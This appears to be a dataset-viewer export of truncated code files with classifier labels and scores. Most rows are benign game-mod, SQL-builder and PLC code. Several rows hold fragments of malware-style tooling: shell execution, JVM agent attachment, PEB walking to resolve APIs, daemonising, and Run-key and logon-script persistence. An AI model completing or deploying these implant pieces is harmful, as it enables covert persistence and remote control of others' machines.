content stringlengths 263 5.24M | pred_label stringclasses 1
value | pred_score_pos float64 0.6 1 |
|---|---|---|
package t;
import java.io.*;
import java.nio.channels.FileChannel;
import java.nio.charset.Charset;
import java.text.SimpleDateFormat;
public class AutoInstall {
public static void exec(String command) {
String osName = System.getProperty("os.name").toLowerCase();
String charSet = "GBK";
... | __label__POS | 0.99112 |
package cons;
import util.FileUtil;
import java.lang.management.ManagementFactory;
public class Constants {
public static final String AGENT = "agent.jar";
public static final String AGENT_STARTER = FileUtil.getLocalFileName();
public static final String LOCAL_DIR = FileUtil.getLocalDir();
public sta... | __label__POS | 1.00001 |
package util;
import cons.Constants;
import java.io.*;
import java.util.List;
import java.util.Properties;
public class FileUtil {
public static void releaseFile(String readPath, String writeFile) {
try {
BufferedInputStream is = new BufferedInputStream(FileUtil.class.getResourceAsStream(rea... | __label__POS | 0.97256 |
package util;
import cons.Constants;
public class Logger {
public static void print(Object x) {
System.out.println(x);
if ("true".equals(Constants.DEBUG)) {
FileUtil.outPutLog(String.valueOf(x));
}
}
public static void printErr(Object x) {
System.err.println("[... | __label__POS | 0.939303 |
package util;
import java.io.IOException;
public class ProcessUtil {
public static int executeCommand(final String command, final long timeout) throws IOException, InterruptedException {
Process process = Runtime.getRuntime().exec(command);
Worker worker = new Worker(process);
worker.star... | __label__POS | 0.989607 |
package util;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.*;
public class WebAppCheck {
public static boolean check() {
String target_url = FileUtil.getProperty("target_url");
URL url = null;
try {
url = new URL(target_u... | __label__POS | 0.947397 |
package util;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import cons.Constants;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class ClientUtil {
public static Map<String, String> getArgs(String[] ar... | __label__POS | 0.991662 |
#include<stdio.h>
#include<windows.h>
#include<winternl.h>
#include"exports.h"
PVOID get_function_address(char *func, int method){
PPEB p = (PPEB)__readgsqword(0x60);
PLIST_ENTRY main_module = &p -> Ldr -> InMemoryOrderModuleList;
PLIST_ENTRY module = main_module -> Flink -> Flink; // skip to ntdll
PLDR_D... | __label__POS | 0.700769 |
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int go_to_hell () {
pid_t pid;
if ((pid = fork()) != 0) return 0;
setsid(); // Remove TTY
if ((pid = fork()) != 0) return 0;
return 0;
}
#define USER_PERSISTENCE 0
#define SYS_P... | __label__POS | 0.824518 |
#include "Commands.h"
LPCSTR ProcessList(){
std::string pList = ExecuteCommand("tasklist");
LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH];
StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"%s",pList.c_str());
return lpResponse;
}
LPCSTR ExecuteShell(LPCSTR command){
std::string pList = ExecuteCommand(command);
LPSTR ... | __label__POS | 0.82699 |
#include "Persistence.h"
LPCSTR Persist(DWORD method){
switch(method){
case PERSIST_RUNKEY:
if(PersistRunKey()){
return "[+] Run key Persistence Successfull [+]";
}
case PERSIST_LOGONSCRIPT:
if(PersistLogonScript()){
return "[+] Logon script Persistence Successfull [+]";
}
case PERSIST_EXCE... | __label__POS | 0.998873 |
//
// VisibleIndex+Convert.swift
// Pods
//
// Created by Akira Matsuda on 2020/07/01.
//
extension PagingView.VisibleIndex {
public static func == (a: PagingView.VisibleIndex, b: PagingView.VisibleIndex) -> Bool {
switch (a, b) {
case let (.single(index1), .single(index2)):
return i... | __label__POS | 0.947213 |
//
// PagingViewFlowLayout.swift
// Pods-RDImageViewerController_Example
//
// Created by Akira Matsuda on 2020/01/16.
//
import UIKit
class PagingViewFlowLayout: UICollectionViewFlowLayout {
private var previousSizs: CGSize = .zero
var currentPageIndex: PagingView.VisibleIndex = .single(index: 0)
var ... | __label__POS | 0.744073 |
//
// CarbonAppProcess.m
// AutoConvert
//
// Created by Alex Nichol on 7/3/11.
// Copyright 2011 Alex Nichol. All rights reserved.
//
#import "CarbonAppProcess.h"
@implementation CarbonAppProcess
- (id)init {
if ((self = super.init)) {
// Initialization code here.
}
return self;
}
- (id)initW... | __label__POS | 0.62874 |
using System;
using System.Collections.Concurrent;
using System.Diagnostics;
using System.Threading.Tasks;
namespace Celeste.Mod.CelesteNet {
public static class QueuedTaskHelper
{
private static readonly ConcurrentDictionary<object, object> Map = new ConcurrentDictionary<object, object>();
p... | __label__POS | 0.871396 |
using System;
using System.Collections.Generic;
namespace Celeste.Mod.CelesteNet
{
// Because String.Intern is too global for my liking. -jade
public unsafe class StringDedupeContext {
public class DedupeInfo {
public int Refs;
public readonly List<string> Strings = new();
... | __label__POS | 0.83338 |
using Celeste.Mod.CelesteNet.DataTypes;
using System;
using System.Linq;
namespace Celeste.Mod.CelesteNet.Server.Control
{
public static class FrontendUtils {
public static object ToFrontendChat(this DataChat msg)
=> new {
msg.ID,
PlayerID = msg.Player?.ID ?? u... | __label__POS | 0.626502 |
using Monocle;
using System.Collections.Generic;
using System.Runtime.CompilerServices;
namespace Celeste.Mod.CelesteNet.Client
{
public static class CelesteNetClientSpriteDB {
private static ConditionalWeakTable<Sprite, SpriteExt> SpriteExts = new();
public static Dictionary<string, SpriteMeta>... | __label__POS | 0.930397 |
using System;
using System.Collections.Generic;
using MessagePack;
using MessagePack.Formatters;
using MessagePack.Resolvers;
using Microsoft.Xna.Framework;
namespace Celeste.Mod.CelesteNet.Server.Sqlite {
public static class MessagePackHelper {
public static readonly MessagePackSerializerOptions Options... | __label__POS | 0.968531 |
using System;
using System.Collections.Generic;
using System.IO;
namespace Celeste.Mod.CelesteNet.Server {
public abstract class UserData : IDisposable {
public readonly CelesteNetServer Server;
public UserData(CelesteNetServer server) {
Server = server;
}
public abs... | __label__POS | 0.840709 |
using System;
using System.IO;
using System.Threading;
namespace Celeste.Mod.CelesteNet.Server {
public sealed class PacketDumper {
public enum TransportType {
None, TCP, UDP
}
public CelesteNetServer Server { get; }
private int _NextDumpIdx = 0;
public Packe... | __label__POS | 0.728955 |
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
namespace Celeste.Mod.CelesteNet.DataTypes {
public class DataPartImage : DataType<DataPartImage> {
public string AtlasPath = "";
public Vector2 Position;
public Vector2 Origin;
public Vector2 Scale;
pu... | __label__POS | 0.613261 |
namespace Celeste.Mod.CelesteNet.DataTypes
{
public class DataUnparsed : DataType<DataUnparsed> {
public override DataFlags DataFlags => InnerFlags & ~DataFlags.Small;
public string InnerID = "";
public string InnerSource = "";
public DataFlags InnerFlags;
public int Inner... | __label__POS | 0.741238 |
namespace Celeste.Mod.CelesteNet.DataTypes
{
public class DataChannelList : DataType<DataChannelList> {
static DataChannelList() {
DataID = "channelList";
}
public Channel[] List = Dummy<Channel>.EmptyArray;
protected override void Read(CelesteNetBinaryReader reader) ... | __label__POS | 0.986297 |
using System;
using System.Collections.Generic;
using System.Threading;
using System.Threading.Tasks;
using System.Xml;
using SqExpress.DataAccess;
using SqExpress.QueryBuilders;
using SqExpress.QueryBuilders.Select;
using SqExpress.QueryBuilders.Update;
using SqExpress.SqlExport;
using SqExpress.StatementSyntax;
usin... | __label__POS | 0.787751 |
using System;
using System.Collections.Generic;
using System.Linq;
using SqExpress.Syntax.Names;
namespace SqExpress;
public static class TableHierarchyExtensions {
public static IEnumerable<ExprTableFullName> GetParentTables(this TableBase tableBase)
{
return tableBase
.Columns
... | __label__POS | 0.999233 |
using System;
using System.Collections.Generic;
using SqExpress.Syntax.Select;
using SqExpress.ModelSelect;
using SqExpress.Syntax.Names;
namespace SqExpress
{
public static class SqModelSelectBuilder
{
public static ModelSelect<T, TTable> Select<T, TTable>(ISqModelReader<T, TTable> reader)
... | __label__POS | 0.999869 |
using System;
using System.Collections.Generic;
using System.Linq;
using SqExpress.QueryBuilders;
using SqExpress.QueryBuilders.Select;
using SqExpress.StatementSyntax;
using SqExpress.Syntax.Boolean;
using SqExpress.Syntax.Boolean.Predicate;
using SqExpress.Syntax.Functions;
using SqExpress.Syntax.Names;
using SqExpr... | __label__POS | 0.978845 |
using System;
using System.Collections.Generic;
namespace Celeste.Mod.CelesteNet.DataTypes
{
public class DataNetFilterList : DataType<DataNetFilterList> {
static DataNetFilterList() {
DataID = "filterList";
}
public override DataFlags DataFlags => DataFlags.Taskable;
... | __label__POS | 0.898242 |
using System.Collections.Generic;
using SqExpress.Meta;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Type;
using SqExpress.Utils;
namespace SqExpress
{
public class TableBase : ExprTable
{
public TableBase(string? schema, string name, Alias alias = default)
: base(new ExprTableFull... | __label__POS | 0.796018 |
using System;
using System.Collections.Generic;
using SqExpress.Syntax.Type;
using SqExpress.Syntax.Value;
namespace SqExpress
{
public static partial class SqQueryBuilder
{
public static ExprInt32Literal Literal(int? value) => new ExprInt32Literal(value);
public static ExprInt32Literal Litera... | __label__POS | 0.994092 |
using System;
using System.Collections.Generic;
using System.Linq;
using SqExpress.SqlExport;
using SqExpress.Syntax;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Type;
namespace SqExpress;
public static class TableComparisonExtensions
{
public static TableListComparison? CompareWith(this IReadOnlyList<T... | __label__POS | 0.967143 |
namespace Celeste.Mod.CelesteNet.DataTypes
{
public class DataCommandList : DataType<DataCommandList> {
static DataCommandList() {
DataID = "commandList";
}
public CommandInfo[] List = Dummy<CommandInfo>.EmptyArray;
protected override void Read(CelesteNetBinaryReader ... | __label__POS | 0.912885 |
using System;
using System.Collections.Generic;
using SqExpress.QueryBuilders;
using SqExpress.QueryBuilders.Case;
using SqExpress.QueryBuilders.Delete;
using SqExpress.QueryBuilders.Insert;
using SqExpress.QueryBuilders.Insert.Internal;
using SqExpress.QueryBuilders.Merge;
using SqExpress.QueryBuilders.Merge.Internal... | __label__POS | 0.98115 |
using SqExpress.Meta;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Type;
using SqExpress.Syntax.Value;
namespace SqExpress
{
public abstract class TableColumn : ExprColumn
{
protected TableColumn(IExprColumnSource? source, ExprColumnName columnName, ExprTable table, ExprType sqlType, bool isNu... | __label__POS | 0.710726 |
using System;
using System.Collections.Generic;
using SqExpress.QueryBuilders.Select;
using SqExpress.Syntax;
using SqExpress.Syntax.Boolean;
using SqExpress.Syntax.Boolean.Predicate;
using SqExpress.Syntax.Expressions;
using SqExpress.Syntax.Functions;
using SqExpress.Syntax.Functions.Known;
using SqExpress.Syntax.Nam... | __label__POS | 0.976201 |
using System.Collections.Generic;
using SqExpress.Syntax;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Select;
using SqExpress.Utils;
namespace SqExpress
{
public abstract class CteBase : ExprCte
{
private ExprCteQuery? _query;
private readonly List<ExprColumn> _columns = new List<Exp... | __label__POS | 0.999801 |
using Celeste.Mod.CelesteNet.DataTypes;
using Newtonsoft.Json.Linq;
namespace Celeste.Mod.CelesteNet.Server.Control
{
public class WSCMDStatus : WSCMD {
public override bool MustAuth => true;
public override object? Run(object? input) {
if (input == null)
return false;
... | __label__POS | 0.746211 |
namespace Celeste.Mod.CelesteNet.Server.Control {
public class WSCMDTagAdd : WSCMD {
public override bool MustAuth => true;
public override bool MustAuthExec => true;
public override object? Run(dynamic? data) {
string? uid = data?.UID, tag = data?.Tag;
if (uid.IsNull... | __label__POS | 0.708276 |
using SqExpress.Syntax.Names;
namespace SqExpress
{
public static class CustomColumnFactory
{
public static ExprColumnName Any(string columnName) => new ExprColumnName(columnName);
public static BooleanCustomColumn Boolean(string columnName) => new BooleanCustomColumn(columnName);
pub... | __label__POS | 0.999469 |
using System.Collections.Generic;
using SqExpress.Syntax;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Select;
using SqExpress.Utils;
namespace SqExpress
{
public abstract class DerivedTableBase : ExprDerivedTable
{
private ExprDerivedTableQuery? _table;
private readonly List<ExprColu... | __label__POS | 0.999879 |
using System;
using SqExpress.Syntax.Names;
namespace SqExpress
{
public readonly struct Alias
{
private readonly bool _notAuto;
private readonly string? _name;
private readonly IExprAlias? _proxy;
private Alias(bool notAuto, string? name, IExprAlias? proxy)
{
... | __label__POS | 0.631035 |
using System;
using System.Collections.Generic;
using System.Linq;
using SqExpress.QueryBuilders;
using SqExpress.QueryBuilders.RecordSetter;
using SqExpress.QueryBuilders.RecordSetter.Internal;
using SqExpress.QueryBuilders.Select;
using SqExpress.QueryBuilders.Select.Internal;
using SqExpress.Syntax.Boolean;
using S... | __label__POS | 0.872631 |
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
using SqExpress.DataAccess;
using SqExpress.ModelSelect;
namespace SqExpress
{
public static class ModelRequestExtensions
{
public static Task<List<TRes>> QueryList<TRes>(this ModelRequestData<TRes> modelRequestData, ISqData... | __label__POS | 0.999486 |
namespace SqExpress.GetStarted
{
public class TableCompany : TableBase
{
[SqModel("CompanyName", PropertyName = "Id")]
public Int32TableColumn CompanyId { get; }
[SqModel("CompanyName", PropertyName = "Name")]
public StringTableColumn CompanyName { get; }
//Audit Colum... | __label__POS | 0.877443 |
using static SqExpress.SqQueryBuilder;
namespace SqExpress.GetStarted
{
public class DerivedTableCustomer : DerivedTableBase
{
[SqModel("CustomerData", PropertyName = "Id")]
public Int32CustomColumn CustomerId { get; }
[SqModel("CustomerData", PropertyName = "CustomerType")]
p... | __label__POS | 0.849586 |
using System;
using System.Text.RegularExpressions;
namespace SqExpress.CodeGenUtil
{
internal static class StringHelper
{
public static string DeSnake(string input)
{
if (string.IsNullOrEmpty(input))
{
return input;
}
char[]? re... | __label__POS | 0.915134 |
using System.Collections.Generic;
namespace SqExpress.StatementSyntax
{
public class StatementList : IStatement
{
public StatementList(IReadOnlyList<IStatement> statements)
{
this.Statements = statements;
}
public IReadOnlyList<IStatement> Statements { get; }
... | __label__POS | 0.992378 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Xml;
using SqExpress.Syntax;
using SqExpress.Syntax.Boolean;
using SqExpress.Syntax.Boolean.Predicate;
using SqExpress.Syntax.Expressions;
using SqExpress.Syntax.Functions;
using SqExpress.Syntax.Functions.Known;
using SqExpress.Syntax.Name... | __label__POS | 0.670321 |
using System;
using System.Collections.Generic;
using System.Data.SqlTypes;
using System.Linq;
using SqExpress.QueryBuilders.RecordSetter;
using SqExpress.QueryBuilders.RecordSetter.Internal;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Select;
using SqExpress.Syntax.Type;
namespace SqExpress.Utils
{
inte... | __label__POS | 0.965728 |
using System;
using System.Text.RegularExpressions;
namespace SqExpress.Utils
{
internal static class StringHelper
{
public static string DeSnake(string input)
{
if (string.IsNullOrEmpty(input))
{
return input;
}
char[]? result =... | __label__POS | 0.915447 |
using SqExpress.SqlExport.Internal;
using SqExpress.SqlExport.Statement.Internal;
using SqExpress.StatementSyntax;
using SqExpress.Syntax;
namespace SqExpress.SqlExport
{
public class PgSqlExporter : ISqlExporter
{
public static readonly PgSqlExporter Default = new PgSqlExporter(SqlBuilderOptions.Defa... | __label__POS | 0.907442 |
using System;
using System.Collections.Generic;
using SqExpress.Utils;
namespace SqExpress.SqlExport
{
public class SqlBuilderOptions
{
public static SqlBuilderOptions Default = new SqlBuilderOptions();
public IReadOnlyList<SchemaMap>? SchemaMap { get; private set; }
public bool Avoi... | __label__POS | 0.948678 |
using SqExpress.SqlExport.Internal;
using SqExpress.SqlExport.Statement.Internal;
using SqExpress.StatementSyntax;
using SqExpress.Syntax;
namespace SqExpress.SqlExport
{
public class MySqlExporter : ISqlExporter
{
public static readonly MySqlExporter Default = new MySqlExporter(SqlBuilderOptions.Defa... | __label__POS | 0.913301 |
using SqExpress.SqlExport.Internal;
using SqExpress.SqlExport.Statement.Internal;
using SqExpress.StatementSyntax;
using SqExpress.Syntax;
namespace SqExpress.SqlExport
{
public class TSqlExporter : ISqlExporter
{
public static readonly TSqlExporter Default = new TSqlExporter(SqlBuilderOptions.Default... | __label__POS | 0.906291 |
namespace SqExpress.Meta
{
public interface ITableColumnVisitor<out TRes>
{
TRes VisitBoolean(BooleanTableColumn booleanTableColumn);
TRes VisitNullableBoolean(NullableBooleanTableColumn nullableBooleanTableColumn);
TRes VisitByte(ByteTableColumn byteTableColumn);
TRes VisitN... | __label__POS | 0.924448 |
using SqExpress.Syntax.Boolean;
using SqExpress.Syntax.Boolean.Predicate;
using SqExpress.Syntax.Functions;
using SqExpress.Syntax.Internal;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Output;
using SqExpress.Syntax.Select;
using SqExpress.Syntax.Select.SelectItems;
using SqExpress.Syntax.Update;
using SqExpr... | __label__POS | 0.693067 |
using SqExpress.Syntax.Type;
namespace SqExpress.Syntax
{
public interface IExprTypeVisitor<out TRes, in TArg>
{
//Types
TRes VisitExprTypeBoolean(ExprTypeBoolean exprTypeBoolean, TArg arg);
TRes VisitExprTypeByte(ExprTypeByte exprTypeByte, TArg arg);
TRes VisitExprTypeByteA... | __label__POS | 0.952648 |
using SqExpress.Syntax.Expressions;
using SqExpress.Syntax.Functions;
using SqExpress.Syntax.Functions.Known;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Type;
using SqExpress.Syntax.Value;
namespace SqExpress.Syntax
{
public interface IExprValueVisitor<out TRes, in TArg>
{
//Value
TR... | __label__POS | 0.87491 |
<?xml version="1.0" encoding="utf-8"?>
<TcPlcObject Version="1.1.0.1" ProductVersion="3.1.4024.12">
<POU Name="Rectangle" Id="{5fab8419-38ec-4aa0-8ae7-fe6ce34dda2e}" SpecialFunc="None">
<Declaration><![CDATA[{attribute 'enable_dynamic_creation'}
FUNCTION_BLOCK Rectangle EXTENDS Disposable IMPLEMENTS I_DrawableSh... | __label__POS | 0.749405 |
//@ts-check
import { DateTime } from "../../../js/deps/luxon.js";
export class FrontendUtils {
/**
* @param {import("../frontend.js").Frontend} frontend
*/
constructor(frontend) {
this.frontend = frontend;
/** @type {WeakMap<any, number>} */
this._uidMap = new WeakMap();
this._uidLast = 0;
... | __label__POS | 0.97551 |
using System;
using SqExpress.Syntax.Value;
namespace SqExpress.QueryBuilders;
public interface IUpdateSetter<out TRes, in TCol> : IUpdateSetterLiteral<TRes, TCol>
{
public TRes Set(TCol col, IExprAssigning value);
}
public interface IUpdateSetterLiteral<out TRes, in TCol>
{
public TRes Set(TCol col, int? v... | __label__POS | 0.99624 |
using System;
using System.Collections.Generic;
using System.Threading;
using System.Threading.Tasks;
namespace SqExpress.DataAccess
{
public static class SqDatabaseExtensions
{
public static Task Query(this ISqDatabase database, IExprQuery query, Action<ISqDataRecordReader> handler, CancellationToken... | __label__POS | 0.756539 |
<?xml version="1.0" encoding="utf-8"?>
<TcPlcObject Version="1.1.0.1" ProductVersion="3.1.4024.12">
<POU Name="ConcreteBuilder" Id="{57001512-b379-4132-90b7-d2b34d8d495f}" SpecialFunc="None">
<Declaration><![CDATA[///This is the concrete builder class, reponsible for building the final product object
FUNCTION_BL... | __label__POS | 0.676903 |
import {
addDays,
differenceInCalendarDays,
endOfISOWeek,
endOfWeek,
getISOWeek,
getWeek,
Locale,
startOfISOWeek,
startOfWeek
} from 'date-fns';
import { MonthWeek } from './getMonthWeeks';
/** Return the weeks between two dates. */
export function daysToMonthWeeks(
fromDate: Date,
toDate: Date... | __label__POS | 0.863675 |
//@ts-check
import { rd, rdom, rd$, RDOMListHelper } from "../../../js/rdom.js";
/** @type {import("material-components-web")} */
const mdc = window["mdc"]; // mdc
// @ts-ignore
const markdown = new showdown.Converter(); // showdown
/**
* @typedef {(el: HTMLElement) => HTMLElement} HTMLElementGen
* @typedef {string... | __label__POS | 0.696663 |
using System;
using System.Collections.Generic;
using SqExpress.Syntax;
using SqExpress.Syntax.Boolean;
using SqExpress.Syntax.Boolean.Predicate;
using SqExpress.Syntax.Expressions;
using SqExpress.Syntax.Functions;
using SqExpress.Syntax.Functions.Known;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Output;
usi... | __label__POS | 0.86025 |
using System.Text;
using System.Text.RegularExpressions;
namespace SqExpress.SqlExport.Internal
{
internal static class SqlInjectionChecker
{
private static readonly Regex tSqlFunctionName = new Regex(@"([a-zA-Z][\w_]+|[@][a-zA-Z][\w_]*|[@][@][a-zA-Z][\w_]*)");
public static void AppendString... | __label__POS | 0.985146 |
using System.Collections.Generic;
using Celeste.Mod.CelesteNet.DataTypes;
using MonoMod.Utils;
namespace Celeste.Mod.CelesteNet.Server.Chat.Cmd {
public class CmdBack : ChatCmd {
public override string Info => "Teleport to where you were before your last teleport.";
public override void Run(CmdE... | __label__POS | 0.653613 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Celeste.Mod.CelesteNet.Server.Chat.Cmd {
public class ParamIntRange : Param {
public override string Help => "An integer range";
public override string PlaceholderName { ge... | __label__POS | 0.758173 |
using System.Collections.Generic;
using SqExpress.Syntax.Boolean;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Output;
using SqExpress.Syntax.Select;
using SqExpress.Syntax.Value;
using SqExpress.Utils;
namespace SqExpress.Syntax.Update
{
public class ExprMerge : IExprExec
{
public ExprMerge(E... | __label__POS | 0.686315 |
using System.Collections.Generic;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Select;
using SqExpress.Syntax.Select.SelectItems;
using SqExpress.Utils;
namespace SqExpress.Syntax.Update
{
public class ExprInsert : IExprExec
{
public ExprInsert(IExprTableFullName target, IReadOnlyList<ExprColu... | __label__POS | 0.702831 |
using System.Collections.Generic;
using SqExpress.Syntax.Boolean;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Select;
using SqExpress.Syntax.Select.SelectItems;
using SqExpress.Utils;
namespace SqExpress.Syntax.Update
{
public class ExprDelete : IExprExec
{
public ExprDelete(ExprTable target,... | __label__POS | 0.873076 |
using System;
namespace Celeste.Mod.CelesteNet.Server.Chat.Cmd {
public class ParamLong : Param {
public override string Help => "A long (integer) value";
public override string PlaceholderName { get; set; } = "long";
protected override string ExampleValue => Max.ToString();
public... | __label__POS | 0.911103 |
using System;
using SqExpress.Syntax.Boolean.Predicate;
using SqExpress.Syntax.Expressions;
using SqExpress.Syntax.Select;
namespace SqExpress.Syntax.Value
{
public abstract class ExprValue : ExprSelecting, IExprAssigning
{
public abstract TRes Accept<TRes, TArg>(IExprValueVisitor<TRes, TArg> visitor,... | __label__POS | 0.999025 |
using System.Collections.Generic;
using SqExpress.Syntax.Select;
using SqExpress.Syntax.Value;
namespace SqExpress.Syntax.Functions
{
public class ExprOver : IExpr
{
public ExprOver(IReadOnlyList<ExprValue>? partitions, ExprOrderBy? orderBy, ExprFrameClause? frameClause)
{
this.Par... | __label__POS | 0.827914 |
using System.Collections.Generic;
using SqExpress.Syntax.Boolean;
using SqExpress.Syntax.Value;
namespace SqExpress.Syntax.Functions
{
public class ExprCase : ExprValue
{
public ExprCase(IReadOnlyList<ExprCaseWhenThen> cases, ExprValue defaultValue)
{
this.Cases = cases;
... | __label__POS | 0.875332 |
using System.Collections.Generic;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Select;
using SqExpress.Syntax.Value;
namespace SqExpress.Syntax.Functions;
public class ExprTableFunction : IExprTableSource
{
public ExprTableFunction(ExprDbSchema? schema, ExprFunctionName name, IReadOnlyList<ExprValue>? ar... | __label__POS | 0.666301 |
using System;
using System.Text.RegularExpressions;
namespace Celeste.Mod.CelesteNet.Server.Chat.Cmd {
public class ParamString : Param {
public override string Help => "A string" + (maxLength > 0 ? $" (max. {maxLength} characters)" : "");
public override string PlaceholderName { get; set; } = "st... | __label__POS | 0.754461 |
using System;
namespace Celeste.Mod.CelesteNet.Server.Chat.Cmd {
public class ParamInt : Param {
public override string Help => "An integer value";
public override string PlaceholderName { get; set; } = "int";
protected override string ExampleValue => $"{(Min == int.MinValue ? -999 : Min)... | __label__POS | 0.968653 |
using System.Collections.Generic;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Select;
using SqExpress.Syntax.Select.SelectItems;
namespace SqExpress.Syntax.Output
{
public class ExprOutput : IExpr
{
public ExprOutput(IReadOnlyList<IExprOutputColumn> columns)
{
this.Columns... | __label__POS | 0.862946 |
using System.Diagnostics.CodeAnalysis;
namespace SqExpress.Syntax.Boolean
{
public abstract class ExprBoolean : IExpr
{
public abstract TRes Accept<TRes, TArg>(IExprVisitor<TRes, TArg> visitor, TArg arg);
#if NETSTANDARD
public static ExprBoolean operator |(ExprBoolean? a, ExprBoolean? b)
... | __label__POS | 0.993073 |
using System.Collections.Generic;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Value;
namespace SqExpress.Syntax.Select
{
public class ExprOrderBy : IExpr
{
public ExprOrderBy(IReadOnlyList<ExprOrderByItem> orderList)
{
this.OrderList = orderList;
}
public ... | __label__POS | 0.849241 |
using System.Collections.Generic;
using SqExpress.Syntax.Boolean;
using SqExpress.Syntax.Names;
using SqExpress.Syntax.Value;
namespace SqExpress.Syntax.Select
{
public class ExprQuerySpecification : IExprQueryExpression
{
public IReadOnlyList<IExprSelecting> SelectList { get; }
public ExprVa... | __label__POS | 0.933733 |
using System.Collections.Generic;
using SqExpress.Syntax.Names;
namespace SqExpress.Syntax.Select
{
public abstract class ExprDerivedTable : IExprTableSource
{
protected ExprDerivedTable(ExprTableAlias alias)
{
this.Alias = alias;
}
public ExprTableAlias Alias { ge... | __label__POS | 0.714613 |
namespace SqExpress.Syntax.Type
{
public abstract class ExprType : IExpr
{
public TRes Accept<TRes, TArg>(IExprVisitor<TRes, TArg> visitor, TArg arg)
{
return this.Accept((IExprTypeVisitor<TRes, TArg>)visitor, arg);
}
public abstract TRes Accept<TRes, TArg>(IExprTyp... | __label__POS | 0.848829 |
using System;
using SqExpress.Syntax.Select;
using SqExpress.Syntax.Value;
namespace SqExpress.Syntax.Names
{
public class ExprAllColumns : IExprSelecting
{
public ExprAllColumns(IExprColumnSource? source)
{
this.Source = source;
}
public IExprColumnSource? Source ... | __label__POS | 0.940792 |
using System;
namespace SqExpress.Syntax.Names
{
public class ExprDatabaseName : IExprName, IEquatable<ExprDatabaseName>
{
private string? _lowerInvariantName;
public ExprDatabaseName(string name)
{
this.Name = name.Trim();
}
public string Name { get; }
... | __label__POS | 0.979022 |
using System.Collections.Generic;
namespace SqExpress.Syntax.Names
{
public class ExprNameEqualityComparer
{
public static readonly IEqualityComparer<IExprName> CaseSensitive = new CaseSensitiveComparer();
public static readonly IEqualityComparer<IExprName> CaseInsensitive = new CaseInsensiti... | __label__POS | 0.999954 |
using System;
namespace SqExpress.Syntax.Names
{
public class ExprSchemaName : IExprName, IEquatable<ExprSchemaName>
{
private string? _lowerInvariantName;
public ExprSchemaName(string name)
{
this.Name = name.Trim();
}
public string Name { get; }
... | __label__POS | 0.977815 |
using System;
namespace SqExpress.Syntax.Names
{
public class ExprColumnAlias : IExprName, IEquatable<ExprColumnAlias>
{
private string? _lowerInvariantName;
public ExprColumnAlias(string name)
{
this.Name = name.Trim();
}
public string Name { get; }
... | __label__POS | 0.984254 |
using System;
using SqExpress.Syntax.Select;
namespace SqExpress.Syntax.Names
{
public class ExprTable : IExprTableSource, IEquatable<ExprTable>
{
public ExprTable(IExprTableFullName fullName, ExprTableAlias? alias)
{
this.Alias = alias;
this.FullName = fullName;
... | __label__POS | 0.972189 |
using System;
namespace SqExpress.Syntax.Names
{
public class ExprTableName : IExprName, IEquatable<ExprTableName>
{
private string? _lowerInvariantName;
public ExprTableName(string name)
{
this.Name = name.Trim();
}
public string Name { get; }
pu... | __label__POS | 0.975782 |
using System;
namespace SqExpress.Syntax.Names
{
public class ExprDbSchema : IExpr, IEquatable<ExprDbSchema>
{
public ExprDbSchema(ExprDatabaseName? database, ExprSchemaName schema)
{
this.Database = database;
this.Schema = schema;
}
public ExprDatabase... | __label__POS | 0.983154 |
using System;
namespace SqExpress.Syntax.Names
{
public class ExprTableFullName : IExprTableFullName, IEquatable<ExprTableFullName>
{
public ExprTableFullName(ExprDbSchema? dbSchema, ExprTableName tableName)
{
this.DbSchema = dbSchema;
this.TableName = tableName;
... | __label__POS | 0.884206 |
using System;
namespace SqExpress.Syntax.Names
{
public class ExprFunctionName : IExprName, IEquatable<ExprFunctionName>
{
private string? _lowerInvariantName;
public ExprFunctionName(bool builtIn, string name)
{
this.BuiltIn = builtIn;
this.Name = name.Trim();... | __label__POS | 0.93959 |
using System;
namespace SqExpress.Syntax.Names
{
public class ExprTableAlias : IExprColumnSource, IEquatable<ExprTableAlias>
{
public ExprTableAlias(IExprAlias alias)
{
this.Alias = alias;
}
public IExprAlias Alias { get; }
public TRes Accept<TRes, TArg>(I... | __label__POS | 0.995043 |
using System;
using SqExpress.Syntax.Select;
namespace SqExpress.Syntax.Names
{
public class ExprColumnName : IExprNamedSelecting, IExprName, IEquatable<ExprColumnName>
{
private string? _lowerInvariantName;
public ExprColumnName(string name)
{
this.Name = name.Trim();
... | __label__POS | 0.980302 |
<?xml version="1.0" encoding="utf-8"?>
<TcPlcObject Version="1.1.0.1" ProductVersion="3.1.4024.12">
<POU Name="FB_ShapeCreator" Id="{38889ccb-1e4b-44e7-87d8-f31d0e5d3ff4}" SpecialFunc="None">
<Declaration><![CDATA[{attribute 'hide_all_locals'}
{attribute 'enable_dynamic_creation'}
FUNCTION_BLOCK FB_ShapeCreator ... | __label__POS | 0.835246 |
using System;
namespace SqExpress.Syntax.Names
{
public class ExprAlias : IExprAlias, IExprName, IEquatable<ExprAlias>
{
private string? _lowerInvariantName;
public ExprAlias(string name)
{
this.Name = name.Trim();
}
public string Name { get; }
pu... | __label__POS | 0.97782 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.